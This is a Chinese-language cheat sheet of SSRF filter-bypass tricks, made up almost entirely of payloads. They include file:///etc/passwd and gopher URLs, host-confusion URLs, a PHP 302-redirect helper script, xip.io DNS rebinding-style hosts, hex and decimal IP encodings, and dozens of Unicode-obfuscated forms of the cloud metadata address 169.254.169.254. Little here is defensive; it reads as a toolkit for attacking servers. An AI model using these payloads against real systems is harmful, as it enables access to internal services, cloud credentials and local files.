SSRF绕过姿势

gopher://ip:port/_urlencode(tcp)

SSRF FUZZ TOOL

0. 使用其他协议

1
file:///etc/passwd

1. 利用解析URL所出现的问题

在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。

https://www.baidu.com@google.comhttps://google.com 是一样的

1
2
3
4
5
6
7
8
9
http://google.com:80+&@127.88.23.245:22/#+@google.com:80/

http://127.88.23.245:22/+&@google.com:80#+@google.com:80/

http://google.com:80+&@google.com:80#+@127.88.23.245:22/

http://127.88.23.245:22/?@google.com:80/

http://127.88.23.245:22/#@www.google.com:80/

2. 短地址 + 302跳转 绕过

1
2
3
<script>
window.location.href = "https://baidu.com/";
</script>

如果过滤了IP可以用网上的短地址

辅助脚本302.php—-bypass http协议限制

1
2
3
4
5
6
7
8
9
10
11
<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$scheme = $_GET['s'];

$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?>

3. 利用 xip.ioxip.name

网站

http://xip.io/

1
2
3
4
5
#
10.0.0.1.xip.io resolves to 10.0.0.1
www.10.0.0.1.xip.io resolves to 10.0.0.1
mysite.10.0.0.1.xip.io resolves to 10.0.0.1
foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1

4. 更改IP地址写法

  • ip地址转换成进制来访问
    1
    2
    3
    4
    5
    6
    220.181.57.216
    十六进制 = DCB539D8
    十进制 = 3702864344

    http://0xDCB539D8
    http://3702864344

在线转换

http://www.ab126.com/system/2859.html

  • 或者IP地址部分地方转换为进制来表达

http://0xdc.181.57.216

5. 添加端口可能绕过匹配正则

220.181.57.216:80

6. 滥用封闭的字母数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
http://169。254。169。254/

http://169。254。169。254/

http://⑯⑨。②⑤④。⑯⑨。②⑤④/

http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/

http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/

http://②⑧⑤②⓪③⑨①⑥⑥:80/

http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/

http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/

http://⓪⓪②⑤①。⓪⓪⓪③⑦⑥。⓪⓪⓪⓪②⑤①。⓪⓪⓪⓪⓪③⑦⑥:80/

http://[::①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/

http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/

http://⓪ⓧⓐ⑨。⓪③⑦⑥。④③⑤①⑧:80/

http://⓪ⓧⓐ⑨。⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①。⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①。⓪ⓧⓕⓔ。④③⑤①⑧:80/
0%